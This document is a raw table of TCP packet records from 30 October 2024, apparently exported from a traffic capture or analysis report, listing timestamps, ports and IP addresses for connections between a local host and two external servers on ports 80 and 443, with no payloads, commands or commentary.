Oct 30, 2024 05:25:20.159617901 CET	443	49994	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:20.159672976 CET	49994	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:20.159882069 CET	49994	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:20.159905910 CET	443	49994	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:20.159923077 CET	49994	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:20.159929991 CET	443	49994	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:20.207775116 CET	49998	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:20.207808971 CET	443	49998	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:20.207874060 CET	49998	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:20.208147049 CET	49998	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:20.208158016 CET	443	49998	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:20.673609972 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:20.673636913 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:20.673648119 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:20.673659086 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:20.673670053 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:20.673744917 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:20.673754930 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:20.673763990 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:20.673774004 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:20.673791885 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:20.673810005 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:20.673810005 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:20.673810005 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:20.673810005 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:20.673861027 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:20.679249048 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:20.679269075 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:20.679303885 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:20.679326057 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:20.679382086 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:20.679425955 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:20.829926014 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:20.829943895 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:20.829955101 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:20.829994917 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:20.830022097 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:20.830030918 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:20.830049992 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:20.830060959 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:20.830070019 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:20.830080986 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:20.830096006 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:20.830123901 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:20.830668926 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:20.830678940 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:20.830684900 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:20.830722094 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:20.830748081 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:20.831126928 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:20.831136942 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:20.831149101 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:20.831156969 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:20.831178904 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:20.831196070 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:20.831233978 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:20.840017080 CET	443	49998	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:20.840085030 CET	49998	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:20.841948032 CET	49998	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:20.841955900 CET	443	49998	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:20.842210054 CET	443	49998	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:20.844083071 CET	49998	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:20.844115973 CET	49998	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:20.844155073 CET	443	49998	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:20.949259043 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:20.949274063 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:20.949296951 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:20.949306965 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:20.949321032 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:20.949331999 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:20.949374914 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:20.949430943 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:20.949654102 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:20.949673891 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:20.949682951 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:20.949701071 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:20.949731112 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:20.950047970 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:20.950095892 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:20.950110912 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:20.950124025 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:20.950155020 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:20.986516953 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:20.986532927 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:20.986605883 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:20.994270086 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:20.994280100 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:20.994290113 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:20.994326115 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:20.994350910 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.068428993 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.068442106 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.068453074 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.068463087 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.068522930 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.068542957 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.068552971 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.068562031 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.068593979 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.068759918 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.068770885 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.068780899 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.068790913 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.068811893 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.068826914 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.113507986 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.113519907 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.113532066 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.113542080 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.113553047 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.113579988 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.113601923 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.187756062 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.187768936 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.187781096 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.187791109 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.187802076 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.187933922 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.187933922 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.187968016 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.188013077 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.188065052 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.188074112 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.188123941 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.232490063 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.232501984 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.232511997 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.232681036 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.232692957 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.232705116 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.232750893 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.232750893 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.232825041 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.233014107 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.233023882 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.233033895 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.233066082 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.233082056 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.304056883 CET	443	49998	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:21.304112911 CET	443	49998	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:21.304143906 CET	443	49998	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:21.304174900 CET	443	49998	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:21.304214954 CET	443	49998	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:21.304239988 CET	443	49998	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:21.304279089 CET	443	49998	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:21.304317951 CET	49998	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:21.304317951 CET	49998	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:21.304317951 CET	49998	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:21.304337025 CET	443	49998	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:21.304389000 CET	49998	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:21.304505110 CET	443	49998	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:21.306416988 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.306427956 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.306485891 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.306533098 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.306544065 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.306554079 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.306575060 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.306602955 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.306881905 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.306900978 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.306910038 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.306926966 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.306960106 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.307327986 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.307337046 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.307374001 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.351572990 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.351586103 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.351634026 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.351664066 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.351676941 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.351686001 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.351701021 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.351732969 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.352066040 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.352076054 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.352087975 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.352098942 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.352118015 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.352139950 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.358036995 CET	49998	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:21.358046055 CET	443	49998	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:21.404836893 CET	49998	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:21.422950029 CET	443	49998	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:21.422976017 CET	443	49998	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:21.423003912 CET	443	49998	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:21.423023939 CET	443	49998	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:21.423047066 CET	49998	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:21.423055887 CET	443	49998	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:21.423077106 CET	49998	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:21.423121929 CET	443	49998	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:21.423219919 CET	49998	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:21.423388958 CET	49998	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:21.423401117 CET	443	49998	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:21.423463106 CET	49998	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:21.423469067 CET	443	49998	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:21.425514936 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.425533056 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.425570965 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.425590992 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.425681114 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.425702095 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.425718069 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.425723076 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.425729036 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.425739050 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.425741911 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.425769091 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.425782919 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.466315031 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.466331959 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.466346979 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.466383934 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.466419935 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.470871925 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.470881939 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.470927000 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.470951080 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.470988035 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.470993996 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.471004963 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.471015930 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.471039057 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.471062899 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.471569061 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.471580029 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.471590042 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.471618891 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.471643925 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.545186043 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.545212030 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.545228004 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.545233011 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.545239925 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.545243025 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.545259953 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.545295954 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.553633928 CET	49999	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:21.553725958 CET	443	49999	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:21.553812981 CET	49999	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:21.554142952 CET	49999	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:21.554176092 CET	443	49999	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:21.585391998 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.585410118 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.585421085 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.585447073 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.585609913 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.590301991 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.590323925 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.590337038 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.590348005 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.590348959 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.590361118 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.590369940 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.590395927 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.590590954 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.590603113 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.590631008 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.590632915 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.590648890 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.590652943 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.590662003 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.590671062 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.590687037 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.590703011 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.663964987 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.663989067 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.663999081 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.664010048 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.664021015 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.664064884 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.664222002 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.707792044 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.707813978 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.707824945 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.707850933 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.707870960 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.709287882 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.709300995 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.709316969 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.709343910 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.709362984 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.709433079 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.709453106 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.709482908 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.709498882 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.709556103 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.709602118 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.709867954 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.709878922 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.709893942 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.709908009 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.709919930 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.709955931 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.710429907 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.710479021 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.710494041 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.710545063 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.710598946 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.710616112 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.710647106 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.710660934 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.784435034 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.784447908 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.784457922 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.784503937 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.784538984 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.826941967 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.826962948 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.826992989 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.827003956 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.827014923 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.827014923 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.827043056 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.827066898 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.827210903 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.827230930 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.827250957 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.827276945 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.828447104 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.828455925 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.828494072 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.828536034 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.828547001 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.828560114 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.828569889 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.828586102 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.828613997 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.829118013 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.829127073 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.829138041 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.829161882 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.829176903 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.829566002 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.829576015 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.829586983 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.829597950 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.829612970 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.829641104 CET	49997	80	192.168.2.6	185.215.113.16
